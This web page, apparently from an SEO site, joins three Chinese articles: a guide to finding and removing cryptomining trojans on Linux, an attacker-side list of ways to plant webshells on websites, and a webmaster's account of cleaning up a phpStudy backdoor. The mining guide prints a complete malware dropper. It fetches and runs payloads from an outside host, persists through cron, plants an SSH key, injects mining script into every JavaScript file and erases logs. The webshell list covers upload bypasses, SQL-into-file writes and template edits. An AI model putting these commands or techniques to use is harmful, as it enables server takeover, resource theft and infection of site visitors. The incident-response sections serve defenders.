整合營銷服務商

          電腦端+手機端+微信端=數據同步管理

          免費咨詢熱線:

          如何排查常見挖礦木馬

          如何排查常見挖礦木馬

          藤實驗室|文

          0x00 什么是挖礦?

          想要理解挖礦,就要先理解什么是區塊鏈、虛擬貨幣。

          區塊鏈是一種通過去中心化、去信任的方式集體維護的一個可靠存儲。區塊鏈中的每個節點都能獲得一份完整的數據拷貝。

          虛擬貨幣是基于區塊鏈的應用。區塊鏈是底層技術,虛擬貨幣是基于此技術的應用。以比特幣為例,可以說比特幣是區塊鏈,但區塊鏈不是比特幣。

          什么是挖礦呢?

          每隔一個時間點,比特幣系統會在系統節點上生成一個隨機代碼,互聯網中的所有計算機都可以去尋找此代碼,誰找到此代碼,就會產生一個區塊。而比特幣的發行是基于獎勵的,每促成一個區塊的生成,該節點便獲得相應獎勵,這樣大家就有動力投入資金去維護整個交易網絡的正常運行。這個尋找代碼獲得獎勵的過程就是挖礦。但是要計算出符合條件的值需要進行上萬億次的哈希運算,這個過程需要大量的算力,于是部分黑客就會通過入侵服務器的方式來控制別人的計算機幫助自己挖礦。

          挖礦木馬

          挖礦木馬一般為自動化掃描、攻擊、部署挖礦進程的腳本,攻擊者首先將挖礦腳本放在遠程主機上,通過常見或最新爆出的可命令執行的自動化漏洞利用腳本獲得主機的控制權后,登陸主機,利用wget或curl直接下載遠程挖礦進程部署腳本,執行腳本進行挖礦進程的部署、隱藏、持久化和痕跡清除等工作。

          挖礦流程一般為:

          1. 通過已知漏洞獲得主機控制權
          2. 下載遠程挖礦腳本
          3. 刪除本機中可能存在的其他挖礦進程(可見黑產競爭的激烈程度)
          4. 生成特征文件避免重復感染
          5. 判斷主機系統類型和位數,隱藏并運行挖礦進程
          6. 如果有GPU則進行GPU挖礦
          7. 挖礦進程的駐留與持久化
          8. 部分有蠕蟲功能的腳本還會以當前主機為跳板,利用已知漏洞和弱口令進行局域網掃描,以控制更多主機。
          9. 清除痕跡

          0x01 常見被挖礦的原因

          為了追求高效率,現在的黑客一般都是通過自動化腳本去掃描互聯網上所有機器,尋找漏洞然后部署挖礦進程。所以大部分的挖礦都是由于受害者的主機上存在常見的漏洞。比如

          • 未授權訪問或弱口令:Redis未授權訪問、Docker API未授權訪問,Hadoop Yarn 未授權訪問、NFS未授權訪問、Rsync弱口令、PostgreSQL弱口令、Tomcat弱口令、SSH弱口令、Telnet弱口令、Windows遠程桌面弱口令;
          • 遠程命令執行漏洞:WebLogic XML 反序列化漏洞、Jenkins反序列化、Jboss遠程代碼執行、Spring遠程代碼執行、ElasticSearch命令執行、永恒之藍、Struts2系列漏洞、常見CMS的遠程命令執行漏洞;
          • 新爆的高危漏洞:一般每次爆發新的高危漏洞,都會緊跟一波大規模的全網掃描利用和挖礦。

          一旦發現服務器被挖礦,應該首先查看挖礦進程所屬的用戶,根據挖礦進程的運行用戶去排查該用戶下是否還運行著其它進程,確定這些進程是否有上述經常被黑客利用的漏洞。如果有常見的漏洞,則應該重點對此進行排查。

          0x02 被挖礦特征

          • 主機CPU使用率飆升
          • 電費激增

          0x03 排查過程

          1. 確定挖礦進程

          可以使用top命令直接篩選出占用CPU過高的可疑進程。

          部分挖礦進程的名字由不規則數字和字母組成,可直接看出(如ddg的qW3xT.4或zigw等)。




          也有的挖礦進程會修改進程名為常見名稱,干擾運維人員,這種偽裝方法比較簡單(比如利用XHide修改進程名或直接修改可執行文件名),所以排查過程中也要關注所有占用CPU較高的可疑進程。



          如果看到了可疑進程,可以使用lsof -p pid 查看進程打開的文件,或查看/proc/pid/exe 指向的文件。

          lsof


          proc



          從上圖可以看到,python進程所指向的文件明顯為異常文件,此時就需要重點排查該文件。如果挖礦木馬有隱藏進程的功能,那么很難直接從top中確定可疑進程名。這時,可從以下幾方面進行排查:

          1).是否替換了系統命令

          使用 rpm -Va 查看系統命令是否被替換,如果系統命令已經被替換,可直接從純凈系統拷貝ps,top,等命令到受感染主機上使用。


          可以看到,系統的ps、netstat、lsof 三個命令均被替換。

          ps命令被替換后,會修改ps輸出的內容,從而隱藏可疑進程。此時直接使用ps命令時,會導致查詢不準確。比如gates木馬會替換ps命令,直接使用ps -ef命令查看進程時,會隱藏一個位于/usr/bin/下的進程。如下,使用busybox可看到可疑進程,但是使用系統的ps命令就不會看到/usr/bin/bsd-port/recei進程。


          2).是否修改了動態鏈接庫

          如果找不到占用CPU較高的進程,可考慮排查是否修改了動態鏈接庫,使用cat /etc/ld.so.preload 或echo $LD_PRELOAD 命令查看是否有預加載的動態鏈接庫文件。

          也可以使用ldd命令查看命令依賴庫中是否有可疑動態庫文件,如圖,在將libprocesshider.so文件加入ld.so.preload文件中后,ldd 命令可看到top命令預先加載了可疑動態庫。


          確認已經加載惡意動態鏈接庫后,直接移除惡意動態鏈接庫文件或清除ld.so.preload中對該庫文件的引用內容即可。

          3).以上情況都可以直接通過靜態編譯的busybox進行排查。

          2. 查看挖礦進程所屬用戶

          一般挖礦進程為自動化攻擊腳本,所以很少有提權的過程,那么很大可能挖礦進程所屬用戶即為攻擊進入系統的用戶。后續的排查過程可根據此尋找攻擊者的入侵途徑。

          top


          ps -ef |grep pid

          兩種方式都可以看到,挖礦進程所屬用戶為 weblogic。

          3. 查看用戶進程

          確定已失陷用戶后,可查詢該用戶所屬其他進程,判斷其他進程是否有已知漏洞(Weblogic反序列化、Struts2系列漏洞、Jenkins RCE)或弱口令(Redis未授權、Hadoop yarn未授權、SSH弱口令)等問題。

          ps -ef|grep username


          可以看到,weblogic用戶下除了兩個挖礦進程,還有一個weblogic應用的進程,所以這時候就應該判斷該該weblogic應用是否有已知的漏洞(比如WebLogic反序列化漏洞)。如果有的話,那么該挖礦進程很可能是利用了該漏洞進入主機。

          4. 確定原因

          排查出挖礦木馬后對木馬類型進行分析,根據木馬的傳播特征和傳播方式,初步判斷本次入侵的原因。然后結合應用日志以及漏洞利用殘留文件確定本次攻擊是否利用了該漏洞。

          比如,利用redis未授權訪問漏洞后,一般會修改redis的dbfilenamedir的配置,并且使用reids寫文件時,會在文件中殘留redis和版本號標識,可以根據以上兩個信息排查是否利用了redis。

          0x04 清除挖礦木馬

          1. 及時隔離主機

          部分帶有蠕蟲功能的挖礦木馬在取得本機的控制權后,會以本機為跳板機,對同一局域網內的其他主機進行已知漏洞的掃描和進一步利用,所以發現挖礦現象后,在不影響業務的前提下應該及時隔離受感染主機,然后進行下一步分析。

          2. 阻斷與礦池通訊

          iptables -A INPUT -s xmr.crypto-pool.fr -j DROP

          iptables -A OUTPUT -d xmr.crypto-pool.fr -j DROP

          3. 清除定時任務

          大部分挖礦進程會在受感染主機中寫入定時任務完成程序的駐留,當安全人員只清除挖礦木馬時,定時任務會再次從服務器下載挖礦進程或直接執行挖礦腳本,導致挖礦進程清除失敗。

          使用crontab -l 或 vim /var/spool/cron/root 查看是否有可疑定時任務,有的話直接刪除,或停止crond進程。


          還有

          /etc/crontab、/var/spool/cron、/etc/cron.daily/、/etc/cron.hourly/、/etc/cron.monthly/、/etc/anacrontab 等文件夾或文件中的內容也要關注。

          4. 清除啟動項

          還有的挖礦進程為了實現長期駐留,會向系統中添加啟動項來確保系統重啟后挖礦進程還能重新啟動。所以在清除時還應該關注啟動項中的內容,如果有可疑的啟動項,也應該進行排查,確認是挖礦進程后,對其進行清除。

          排查過程中重點應該關注:

          /etc/rc0.d/、/etc/rc1.d/、/etc/rc2.d/、/etc/rc3.d/、/etc/rc4.d/、/etc/rc5.d/、/etc/rc6.d/、/etc/rc.d/、/etc/rc.local /etc/inittab等目錄或文件下的內容。

          5. 清除公鑰文件

          在用戶家目錄的.ssh目錄下放置authoruzed_keys文件,從而免密登陸該機器也是一種常見的保持服務器控制權的手段。在排查過程中應該查看該文件中是否有可疑公鑰信息,有的話直接刪除,避免攻擊者再次免密登陸該主機。

          [UserDIR]/.ssh/authorized_keys

          6. kill挖礦進程

          對于單進程挖礦程序,直接結束挖礦進程即可。但是對于大多數的挖礦進程,如果挖礦進程有守護進程,應先殺死守護進程再殺死挖礦進程,避免清除不徹底。

          kill -9 pid 或 pkill ddg.3014

          在實際的清除工作中,應找到本機上運行的挖礦腳本,根據腳本的執行流程確定木馬的駐留方式,并按照順序進行清除,避免清除不徹底。

          0x005 挖礦進程清除實例

          1. ddgs.3014清除

          DDG 是一個專注于掃描控制 SSH 、 Redis數據庫 和 OrientDB數據庫服務器,并利用服務器算力挖礦(門羅幣)的僵尸網絡。


          ddg.3014的執行腳本 i.sh

          可以看到,腳本的執行流程是先寫入定時任務(/var/spool/cron/root 或 /var/spool/cron/crontabs/root),然后下載對應版本的ddgs.3014文件并執行,最后清除其他存在于本機的挖礦樣本

          ddgs.3014執行后會主動連接攻擊者的C2服務器去下載相應的挖礦程序并運行,而且ddg還內置了redis和SSH掃描器,會對redis和SSH進行爆破,ddg還會在.ssh/authorized_keys中留下公鑰。

          ddgs.3014程序 和 qW3xT.4挖礦文件,

          此時會有兩個ddg相關進程進程,ddg.3014和qW3xT.4,

          使用top命令可以看到,占用cpu較高的是qW3xT.4進程,即礦機。

          根據腳本的執行流程可以知道,ddg.3014挖礦木馬的清除步驟是

          1).首先清除定時任務,刪除/var/spool/cron/root 和 /var/spool/cron/crontabs/root中的內容

          2).結束ddgs.3014,kill -9 1546 或 pkill -9 ddgs.3014

          3).結束礦機進程,kill -9 1734 或 pkill -9 qW3xT.4

          4).清除其他殘留文件,rm -rf ~/.ddg /tmp/ddgs.3014 /tmp/qW3xT.4

          5).清除authorized_keys中的惡意公鑰, echo "" > ~/.ssh/authorized_keys

          2. zigw清除

          zigw是一種XMR挖礦工具,攻擊者通過爆破SSH獲取系統權限,配置root用戶免密登錄,并下載及執行XMR 挖礦程序,及XMR 網頁挖礦程序。XMR挖礦程序耗主機的CPU/GPU資源,網頁挖礦程序耗訪問服務器JS 網頁的客戶端資源 。

          攻擊者的C2服務器頁面本身就自帶JS挖礦效果:

          zigw的執行腳本 shz.sh如下,

          #!/bin/shsetenforce 0 2>dev/nullecho SELINUX=desabled > /etc/sysconfig/selinux 2>/dev/null
          sync && echo 3 >/proc/sys/vm/drop_caches
          crondir='/var/spool/cron/'"$USER"cont=`cat ${crondir}`ssht=`cat /root/.ssh/authorized_keys`echo 1 > /etc/gmbpr2
          rtdir="/etc/gmbpr2"oddir="/etc/gmbpr"bbdir="/usr/bin/curl"bbdira="/usr/bin/url"ccdir="/usr/bin/wget"ccdira="/usr/bin/get"mv /usr/bin/wget /usr/bin/get
          mv /usr/bin/curl /usr/bin/urlif [ -f "$oddir" ]	then
          		pkill zjgw
          		chattr -i /etc/shz.sh
          		rm -f /etc/shz.sh
          		chattr -i /tmp/shz.sh
          		rm -f /tmp/shz.sh
          		chattr -i /etc/gmbpr
          		rm -f /etc/gmbpr	else
          		echo "ok"fiif [ -f "$rtdir" ]	then
          		echo "goto 1" >> /etc/gmbpr2
          		chattr -i $cont
          		if [ -f "$bbdir" ]			then
          				[[ $cont=~ "shz.sh" ]] || echo "*/12 * * * * curl -fsSL http://c.21-2n.com:43768/shz.sh | sh" >> ${crondir}
          			else
          				[[ $cont=~ "shz.sh" ]] || echo "*/15 * * * * url -fsSL http://c.21-2n.com:43768/shz.sh | sh" >> ${crondir}
          		fi
          		mkdir /root/.ssh
          		[[ $ssht=~ "xvsRtqHLMWoh" ]] || chmod 700 /root/.ssh/
          		[[ $ssht=~ "xvsRtqHLMWoh" ]] || echo >> /root/.ssh/authorized_keys
          		[[ $ssht=~ "xvsRtqHLMWoh" ]] || chmod 600 /root/.ssh/authorized_keys
          		[[ $ssht=~ "xvsRtqHLMWoh" ]] || echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFNFCF6tOvSqqN9Zxc/ZkBe2ijEAMhqLEzPe4vprfiPAyGO8CF8tn9dcPQXh9iv5/vYEbaDxEvixkTVSJpWnY/5ckeyYsXU9zEeVbbWkdRcuAs8bdVU7PxVq11HLMxiqSR3MKIj7yEYjclLHRUzgX0mF2/xpZEn4GGL+Kn+7GgxvsRtqHLMWoh2Xoz7f8Rb3KduYiJlZeX02a4qFXHMSkSkMnHirHHtavIFjAB0y952+1DzD36a8IJJcjAGutYjnrZdKP8t3hiEw0UBADhiu3+KU641Kw9BfR9Kg7vZgrVRf7lVzOn6O8YbqgunZImJt+uLljgpP0ZHd1wGz+QSHEd Administrator@Guess_me" >> /root/.ssh/authorized_keys
          		ps -fe|grep zigw |grep -v grep		if [ $? -ne 0 ]			then
          				cd /etc
          				filesize=`ls -l zigw | awk '{ print $5 }'`
          				file="/etc/zigw"
          				if [ -f "$file" ]					then
          						if [ "$filesize" -ne "1467080" ]							then
          								chattr -i /etc/zigw
          								rm -f zigw								if [ -f "$bbdir" ]								then
          									curl --connect-timeout 10 --retry 10 http://c.21-2n.com:43768/zigw > /etc/zigw								elif [ -f "$bbdira" ]								then
          									url --connect-timeout 10 --retry 10 http://c.21-2n.com:43768/zigw > /etc/zigw								elif [ -f "$ccdir" ]								then
          									wget --timeout=10 --tries=10 -P /etc http://c.21-2n.com:43768/zigw								elif [ -f "$ccdira" ]								then
          									get --timeout=10 --tries=10 -P /etc http://c.21-2n.com:43768/zigw								fi
          						fi
          					else
          						if [ -f "$bbdir" ]						then
          							curl --connect-timeout 10 --retry 10 http://c.21-2n.com:43768/zigw > /etc/zigw						elif [ -f "$bbdira" ]						then
          							url --connect-timeout 10 --retry 10 http://c.21-2n.com:43768/zigw > /etc/zigw						elif [ -f "$ccdir" ]						then
          							wget --timeout=10 --tries=10 -P /etc http://c.21-2n.com:43768/zigw						elif [ -f "$ccdira" ]						then
          							get --timeout=10 --tries=10 -P /etc http://c.21-2n.com:43768/zigw						fi
          				fi
          				chmod 777 zigw
          				sleep 1s
          				./zigw			else
          				echo "runing....."
          		fi
          		chmod 777 /etc/zigw
          		chattr +i /etc/zigw
          		chmod 777 /etc/shz.sh
          		chattr +i /etc/shz.sh
          		shdir='/etc/shz.sh'
          		if [ -f "$shdir" ]			then
          				echo "exists shell"
          			else
          				if [ -f "$bbdir" ]				then
          					curl --connect-timeout 10 --retry 10 http://c.21-2n.com:43768/shz.sh > /etc/shz.sh				elif [ -f "$bbdira" ]				then
          					url --connect-timeout 10 --retry 10 http://c.21-2n.com:43768/shz.sh > /etc/shz.sh				elif [ -f "$ccdir" ]				then
          					wget --timeout=10 --tries=10 -P /etc http://c.21-2n.com:43768/shz.sh				elif [ -f "$ccdira" ]				then
          					get --timeout=10 --tries=10 -P /etc http://c.21-2n.com:43768/shz.sh				fi
          				sh /etc/shz.sh		fi
          	else
          		echo "goto 1" > /tmp/gmbpr2
          		chattr -i $cont
          		if [ -f "$bbdir" ]			then
          				[[ $cont=~ "shz.sh" ]] || echo "*/10 * * * * curl -fsSL http://c.21-2n.com:43768/shz.sh | sh" >> ${crondir}
          			else
          				[[ $cont=~ "shz.sh" ]] || echo "*/10 * * * * url -fsSL http://c.21-2n.com:43768/shz.sh | sh" >> ${crondir}
          		fi
          		ps -fe|grep zigw |grep -v grep		if [ $? -ne 0 ]			then
          				cd /tmp
          				filesize=`ls -l zigw | awk '{ print $5 }'`
          				file="/tmp/zigw"
          				if [ -f "$file" ]					then
          						if [ "$filesize" -ne "1467080" ]							then
          								chattr -i /tmp/zigw
          								rm -f zigw								if [ -f "$bbdir" ]								then
          									curl --connect-timeout 10 --retry 10 http://c.21-2n.com:43768/zigw > /tmp/zigw								elif [ -f "$bbdira" ]								then
          									url --connect-timeout 10 --retry 10 http://c.21-2n.com:43768/zigw > /tmp/zigw								elif [ -f "$ccdir" ]								then
          									wget --timeout=10 --tries=10 -P /tmp http://c.21-2n.com:43768/zigw								elif [ -f "$ccdira" ]								then
          									get --timeout=10 --tries=10 -P /tmp http://c.21-2n.com:43768/zigw								fi
          						fi
          					else
          						if [ -f "$bbdir" ]						then
          							curl --connect-timeout 10 --retry 10 http://c.21-2n.com:43768/zigw > /tmp/zigw						elif [ -f "$bbdira" ]						then
          							url --connect-timeout 10 --retry 10 http://c.21-2n.com:43768/zigw > /tmp/zigw						elif [ -f "$ccdir" ]						then
          							wget --timeout=10 --tries=10 -P /tmp http://c.21-2n.com:43768/zigw						elif [ -f "$ccdira" ]						then
          							get --timeout=10 --tries=10 -P /tmp http://c.21-2n.com:43768/zigw						fi
          				fi
          				chmod 777 zigw
          				sleep 1s
          				./zigw			else
          				echo "runing....."
          		fi
          		chmod 777 /tmp/zigw
          		chattr +i /tmp/zigw
          		chmod 777 /tmp/shz.sh
          		chattr +i /tmp/shz.sh
          		shdir='/tmp/shz.sh'
          		if [ -f "$shdir" ]			then
          				echo "exists shell"
          			else
          				if [ -f "$bbdir" ]				then
          					curl --connect-timeout 10 --retry 10 http://c.21-2n.com:43768/shz.sh > /tmp/shz.sh				elif [ -f "$bbdira" ]				then
          					url --connect-timeout 10 --retry 10 http://c.21-2n.com:43768/shz.sh > /tmp/shz.sh				elif [ -f "$ccdir" ]				then
          					wget --timeout=10 --tries=10 -P /tmp http://c.21-2n.com:43768/shz.sh				elif [ -f "$ccdira" ]				then
          					get --timeout=10 --tries=10 -P /tmp http://c.21-2n.com:43768/shz.sh				fi 
          				sh /tmp/shz.sh		fifiiptables -F
          iptables -X
          iptables -A OUTPUT -p tcp --dport 3333 -j DROP
          iptables -A OUTPUT -p tcp --dport 5555 -j DROP
          iptables -A OUTPUT -p tcp --dport 7777 -j DROP
          iptables -A OUTPUT -p tcp --dport 9999 -j DROP
          iptables -A OUTPUT -p tcp --dport 14444 -j DROP
          iptables-save
          service iptables reload
          ps auxf|grep -v grep|grep "stratum"|awk '{print $2}'|xargs kill -9
          netstat -ano|grep :3333|awk '{print $7}'|awk -F'[/]' '{print $1}'|xargs kill -9
          netstat -ano|grep :4444|awk '{print $7}'|awk -F'[/]' '{print $1}'|xargs kill -9
          netstat -ano|grep :5555|awk '{print $7}'|awk -F'[/]' '{print $1}'|xargs kill -9
          netstat -ano|grep :6666|awk '{print $7}'|awk -F'[/]' '{print $1}'|xargs kill -9
          netstat -ano|grep :7777|awk '{print $7}'|awk -F'[/]' '{print $1}'|xargs kill -9
          netstat -ano|grep :3347|awk '{print $7}'|awk -F'[/]' '{print $1}'|xargs kill -9
          netstat -ano|grep :14444|awk '{print $7}'|awk -F'[/]' '{print $1}'|xargs kill -9
          netstat -ano|grep :14443|awk '{print $7}'|awk -F'[/]' '{print $1}'|xargs kill -9
          find / -name '*.js'|xargs grep -L f4ce9|xargs sed -i '$a\document.write\('\'\<script\ src=\"http://t.cn/EvlonFh\"\>\</script\>\<script\>OMINEId\(\"e02cf4ce91284dab9bc3fc4cc2a65e28\",\"-1\"\)\</script\>\'\)\;history -cecho > /var/spool/mail/rootecho > /var/log/wtmpecho > /var/log/secureecho > /root/.bash_historyecho > /var/spool/mail/root
          

          可以看到,腳本首先生成特征文件/etc/gmbpr2,接著將系統自帶的wget和curl重命名為get和url,防止以后其它進入本機挖礦的腳本下載礦機搶奪資源,然后如果存在特征文件/etc/gmbpr,則認為該機器已經被其他同類攻擊者感染,會停止zjgw進程并刪除/etc下的gpbpr和shz.sh。

          接下來判斷如果存在自己的特征文件/etc/gmbpr2,就會為主機添加定時任務,并向authorized_keys中添加自己的公鑰文件。

          最后就會下載挖礦程序并執行,并為/tmp/zigw /tmp/shz/sh 增加i屬性,避免被刪除,最后添加防火墻規則屏蔽部分常用礦池的端口,并清除掉其他常見挖礦程序。

          從腳本看出,zigw只是以定時任務的方式實現駐留,所以該木馬的清除步驟為

          1).清除定時任務,/var/spool/cron/$USER中的內容

          2).結束zigw進程,pkill -9 zigw

          3).刪除公鑰文件,/root/.ssh/zuthorized_keys

          4).刪除殘留文件,需要先去除i屬性,然后刪除(chattr -i /etc/zigw /etc/shz.sh /tmp/zigw /tmp/shz.sh; rm /etc/zigw /etc/shz.sh /tmp/zigw /tmp/shz.sh /etc/gmbpr2)

          5).恢復防火墻規則

          參考鏈接

          https://github.com/chenkaie/junkcode/blob/7134fb63eecf32fefc47d613a7f2f37d4eee05fb/xhide.c

          https://github.com/gianlucaborello/libprocesshider

          https://www.freebuf.com/column/188100.html

          https://blog.csdn.net/btc18129874591/article/details/80566799

          https://xmr.omine.org

          https://www.f2pool.com/

          • 傳木馬拿webshell的幾種方法匯總(不全)
          • 普通權限下拿webshell
          • 使用sql注入拿webshell
          • 頭像上傳木馬
          • 文件上傳漏洞
          • 遠程命令執行
          • xss和sql注入聯合利用
          • 網站寫權限漏洞
          • 通用漏洞
          • 拿到后臺管理權限下上傳木馬
          • 直接上傳
          • 修改上傳類型
          • 數據庫備份上傳木馬
          • 突破JavaScript限制上傳類型
          • 上傳其他腳本類型
          • %00截斷
          • 服務器解析漏洞
          • 利用編輯器
          • 網站配置
          • 編輯模板
          • 修改腳本文件
          • 數據庫命令拿webshell
          • 編輯模板添加靜態頁面
          • 文件包含
          • 添加插件
          • 修改404頁面

          上傳木馬拿webshell的幾種方法匯總(不全)

          這里整理了幾種上傳木馬的方法,主要分為兩類,拿到網站后臺和沒有網站后臺權限兩種。可能有一些比較老,已經很難見到了,每種只是簡單介紹,用來提醒自己一下,以免忘記。具體的方法可以去網上針對每種方法搜索細致的教程和攻略,可能不是很全,以后會補充,暫時沒什么例子,以后有了隨時更新。

          普通權限下拿webshell

          使用sql注入拿webshell

          前文提到了sql寫入木馬的方法,區別就是后臺可以直接運行sql語句,而sql注入需要自己構造語句,但總體思路不變:

          1. 創建表
          2. 將一句話寫入剛創建的表中
          3. 查詢一句話所在表到文件,成功將一句話寫入文件

          頭像上傳木馬

          1. 將大馬放在文件夾中
          2. 將文件夾壓縮成壓縮文件(zip)
          3. 正常上傳一個頭像并且抓包
          4. 將數據包中圖片頭像的內容部分刪掉
          5. 重新寫入文件內容,將壓縮文件寫入到原本圖片的位置
          6. 上傳
          7. 之后返回包中會告訴我們絕對路徑

          文件上傳漏洞

          利用文件上傳漏洞上傳木馬,繞過方式在這里就不細說了。

          遠程命令執行

          使用遠程命令執行,執行命令行命令“寫入內容到文件”如:echo“” > x.php 會自動將創建木馬文件并將一句話木馬寫入其中,我們連接即可。

          xss和sql注入聯合利用

          有些輸入框對一些符號過濾不嚴密(如<>,所以一般存在xss的地方就可以這么利用)我們可以在這里輸入一句話之后再用數據庫注入,查詢到文件into file成功插入一句話木馬

          網站寫權限漏洞

          有些網站的管理員在配置網站權限的時候疏忽,導致我們有寫權限,這種漏洞需要用工具來利用,在這里就不說了,只是提一下。而且已經很少見了。

          通用漏洞

          可以搜索一些跟網站相關的信息,比如cms類型和版本,編輯器類型,看看有沒有通用的漏洞可以利用

          拿到后臺管理權限下上傳木馬

          直接上傳

          當網站對上傳的文件類型沒有限制的時候直接利用后臺的上傳文件來上傳木馬腳本。大部分情況后臺會告訴你上傳位置,如果沒有顯示上傳的絕對路徑,可以抓包看response包。

          修改上傳類型

          當網站限制上傳文件的類型但在后臺卻可以修改的時候,果斷修改上傳文件類型,允許上傳腳本類型,之后上傳我們的木馬即可。

          數據庫備份上傳木馬

          當網站對上傳的文件類型有限制的時候,我們可以先將木馬上傳成jpg等圖片類型,之后使用數據庫備份功能,將圖片木馬被分成腳本類型。

          但并不是所有網站都這么蠢,有時候可能對于備份的目錄,類型,是寫死的,我們無法控制,可以通過修改靜態頁面,或者抓包改包等方式繞過。

          突破JavaScript限制上傳類型

          有些網站對于上傳類型的限制卸載了js腳本中,我們可以:

          1. 直接刪除本地js文件(不推薦,這樣容易這個網頁就沒法用了)
          2. 用開發者工具(如firebug修改js)
          3. 上傳jpg等圖片類型,之后抓包改回腳本類型

          上傳其他腳本類型

          若目標服務器內還有其他類型的站點(如這個服務器內同時存在php的網站和asp的網站,我們獲取了asp網站的后臺,但這個后臺限制我們上傳asp的腳本文件)我們可以嘗試上傳不同類型的腳本文件,比如上傳php,會發現服務器同樣會執行。這是必然的,因為這個服務器中還有另一種類型的腳本的網站。

          %00截斷

          我們通過服務器的解析漏洞,上傳文件時將文件名用以下格式命名:xx.asp%00.jpg,之后進行抓包,將%00編碼成空字符(也是字符串結束符)之后forward數據包,可以進行繞過。

          服務器解析漏洞

          利用已知的各版本服務器畸形解析漏洞來繞過:

          1. IIS 5.x/6.0

          2. IIS 7.0/7.5 Nginx<8.0

          3. Apach

          利用編輯器

          利用網站的編輯器上傳木馬,可以上網搜索已知的編輯器漏洞,常用的有:fckeditor,ewebeditor,cheditor,有時候沒有管理員權限也可以拿下webshell。

          網站配置

          利用網站配置頁面,這個頁面的值會直接寫入在腳本文件中,所以我們可以像xss一樣來插入一句話木馬,但需要注意的是,一定要閉合好之前的標簽,插入之后也要開啟之后的標簽,否則容易使此頁面報錯,并且不可逆的損害。導致以后都無法利用這個頁面。

          編輯模板

          拿到后臺之后,如果發現網站是使用的模板的話,我們可以編輯模板,將木馬寫在模板中。

          修改腳本文件

          動態的網站,好多函數都是寫在單獨的文件中的,我們可以在寫網站需要的函數的腳本文件中寫入木馬。

          數據庫命令拿webshell

          有些網站后臺可以執行sql命令,這就和使用sql注入拿shell一樣了:

          1. 創建表
          2. 將一句話寫入剛創建的表中
          3. 查詢一句話所在表到文件,成功將一句話寫入文件

          編輯模板添加靜態頁面

          現在網站的默認生成文件的目錄中添加目錄xx.asp(需要配合IIS6.0服務器的畸形解析漏洞),之后再此目錄下的所有文件都會當做asp腳本執行,然后我們修改模板中的生成靜態界面的函數使它生成攜帶木馬代碼的靜態文件,但在此頁面下會當做asp腳本執行,就會成功執行我們的木馬腳本。

          文件包含

          當我們的一句話木馬上傳成功,菜刀可以連接,但發現大馬上傳不了,被防火墻或者安全狗攔截時,可以考慮使用包含文件,思路如下;

          1. 先上傳一個含有包含代碼(如)卻沒有攻擊代碼的文件,不會被狗攔
          2. 再將大馬改成jpg圖片文件上傳,也不會被狗攔
          3. 訪問第一次上傳的包含函數的文件,會發現執行了木馬

          這里是因為包含函數包含的文件會被當成腳本文件,直接將文件內容插入到這個文件中。

          添加插件

          將木馬放入zip壓縮文件中,最好是網站插件的壓縮文件,之后再后臺安裝插件,選中含有木馬的壓縮文件,會自動將插件連通木馬安裝在網站目錄下,接下來我們只需要尋找到木馬的絕對路徑即可。

          修改404頁面

          在網站模板中的404頁面中插入一句話木馬,之后找到這個頁面的絕對路徑,訪問之。

          近,我前公司的網站telpo.cn被最新的木馬攻擊,接連發生了很多問題,網站經常斷斷續續地打開,然后流量被劫持,一時間排除問題才發現是被掛木馬了。

          相信站長SEOer們在日常網站優化過程中也會遇到網站被黑惡意劫持的問題。網站被掛馬怎么處理,如何進行排查呢?

          本文結合自己的處理流程進行梳理并分享。

          【服務器防御排查】

          很多站長們選擇購買了便宜的不可靠的服務器,這往往最容易被入侵攻擊。廉價的服務器機房基本上不會開啟安全防護功能,入侵者利用漏洞輕松可以進行提權操作。

          前公司一直使用大品牌的云服務器,推薦使用阿里云、騰訊云、百度云等,相對來說比亂七八糟的品牌有保障些。

          前些天前公司的一臺阿里云服務器收到安全風險提示短信,第一時間登錄阿里云后臺,找到云盾系統消息提示發現后門webshell文件,如下圖:

          系統會提供具體的后門文件的路徑位置,根據這些信息可以快速定位到網站程序中的PHP木馬后門文件。如下圖所示:

          不懂代碼的站長們還真不太好發現,所以這時候需要公司PHP研發和信息化人員投入精力去排查一下。

          這是第二個網頁后門文件,命名跟其他圖片一樣,一般很難發現。下圖所示

          分析過后,進行了下載方便后面進一步的分析研究。建議立即刪除php后門文件。

          服務器主機電腦殺毒軟件也進行了查殺報毒

          【整站源代碼清查木馬】

          一般情況下當網站被黑惡意跳轉或者被掛木馬打不開頁面,這時候應該做的就是針對網站進行徹底的清查。

          大品牌服務器運營商在這時候就發揮他們的優勢,技術售后能力強,你在后臺提交工單,他們也會協助提供方案去解決問題。

          具體方法,網站管理面板對站點進行打包下載,電腦本地使用網馬查殺軟件進行分析。

          建議使用 D盾Web查殺(webshell查殺) 工具,如下圖:

          D盾webshell查殺軟件

          如果你對源碼不了解,請聯系你的網站開發人員或者是信息化研發人員協助處理。(網站公司那邊一般會收取維護費)應該第一時間把隱藏的風險文件和后門程序進行剔除。

          (必須記得對網站原始數據進行備份)

          確定把木馬處理干凈之后的源碼重新傳到網站主機當中,確保網站正確運行即可。

          另外,強化安全操作:

          1、修改網站后臺密碼的復雜性和長度;

          2、修改服務器管理面板的控制權限;

          3、修改FTP賬號密碼等信息;

          4、檢查服務器的安全日志修補漏洞 ;

          5、購買服務器廠商的安全防護類產品等;

          【事后分析木馬被掛原因】

          為了進行研究和學習,在SEO群里拿出事件的始末來討論分析原因,才知道是Phpstudy的后門文件出現了狀況(文章帖子:https://www.52pojie.cn/thread-1028079-1-1.html?from=groupmessage)。

          因此,特意把查殺出來的幾個后門文件進行分析,如下圖:

          打開其中一個PHP后門文件來查看代碼:

          為了大家方便查看,把PHP后門放到本地PHP環境中運行給大家看看后門程序的功能。

          密碼就是上圖的紅框標記出來的,進行MD5解密后得到admins

          入侵者通過自己的PHP后門入口,在你無感知的狀態下,可以輕松獲得你服務器主機的各種權限和操作,如下圖:

          另外一個后門PHP文件登錄后的界面和功能

          這些行為嚴重侵害了人民群眾的合法權益,甚至危害國家安全。做為站長SEO人員一定要及時發現漏洞和后門,及時處理做好防護,懂得跟技術人員溝通問題,運用資源去找到最優解決方案,否則后果將不堪設想。

          最后:切記一點,選擇大品牌的服務器,及時發現并監控網站安全,不要等到網站問題放大嚴重后果,百度懲罰流量下滑再去處理就已經晚了。


          品牌簡介:L氪跡|佛山SEO實戰技術-免費SEO教程學習網站

          本站文章由SEO技術教程學習網發布,作者:L氪跡,如若轉載請注明原文及網址


